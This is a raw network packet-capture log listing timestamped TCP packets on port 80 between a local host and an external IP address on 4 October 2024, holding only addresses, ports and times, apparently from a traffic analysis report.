Oct 4, 2024 09:52:35.508081913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508106947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508122921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508138895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508156061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508171082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508183956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508203030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508215904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508234978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508248091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508266926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508276939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508299112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508311033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508331060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508339882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508363008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508373022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508394957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508404970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508426905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508436918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508460999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.508471012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.508502960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592591047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592641115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592655897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592690945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592694998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592729092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592741013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592762947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592777967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592797041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592803001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592830896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592843056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592866898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592875957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592900038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592910051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592932940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.592945099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592972994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.592972994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593015909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593024969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593056917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593066931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593089104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593097925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593132973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593137980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593170881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593183994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593203068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593211889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593235016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593246937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593271017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593276978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593302965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593313932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593334913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593346119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593364954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593396902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593409061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593431950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593451023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593451023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593461990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593483925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593496084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593508005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593528032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593537092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593559980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593569040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593591928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593600035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593626022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593632936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593658924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593664885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593698978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593765020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593796968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593811035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593827963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593836069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593861103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593874931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593894005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593902111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593925953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593936920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593957901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593971014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.593990088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.593997002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594022036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594029903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594054937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594062090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594088078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594095945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594120979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594129086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594152927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594161034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594186068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594192982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594218969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594229937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594253063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594260931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594286919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594403028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594434977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594449043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594466925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594474077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594499111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594506979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594532013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594540119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594563961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594573021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594595909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594605923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594628096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594635963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594679117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594687939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594711065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594718933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594744921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594753027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594777107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594784021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594810009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594820976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594842911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594851971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594877005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594883919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594912052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.594917059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.594954014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595098019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595129967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595140934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595163107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595170975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595195055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595205069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595228910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595237970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595262051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595268965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595294952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595304966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595326900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595334053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595359087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595366001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595413923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595418930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595453978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595465899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595485926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595494986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595521927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595526934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595562935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595710993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595743895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595763922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595776081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595782995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595808029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595818043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595851898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595860004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595891953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595905066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595925093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595932007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595957041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.595968962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.595988989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596019983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596023083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596040010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596051931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596056938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596082926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596093893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596117973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596122026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596149921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596163034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596183062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596191883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596214056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596221924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596246958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596255064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596278906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596287012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596311092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596318960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596343994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596354008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596378088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596385956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596417904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596621037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596652985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596666098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596684933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596697092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596716881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596724987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596750021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596762896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596782923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596795082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596813917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596826077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596848965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596856117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596880913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596889019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.596913099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596930027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596961975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.596993923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.597022057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.597052097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681591988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681665897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681689024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681735039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681741953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681786060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681793928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681827068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681842089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681862116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681869030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681895971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681906939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681938887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.681947947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681979895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.681996107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682010889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682023048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682054996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682061911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682095051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682105064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682126999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682146072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682158947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682177067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682189941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682199955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682223082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682235956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682255030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682265997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682290077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682300091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682322979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682333946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682354927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682364941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682383060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682395935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682416916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682425976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682447910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682459116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682481050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682490110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682519913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682521105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682560921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682568073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682600021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682610035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682631969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682640076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682663918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682681084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682697058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682712078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682729006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682740927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682761908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682770967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682794094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682804108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682826996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682833910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682859898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682885885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682893991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682898998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682925940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682944059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682959080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.682965994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.682991982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683000088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683033943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683128119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683160067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683172941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683192015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683201075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683218956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683233023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683252096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683259964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683284044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.683300972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.683315992 CEST	80	49745	141.98.233.156	192.168.2.4
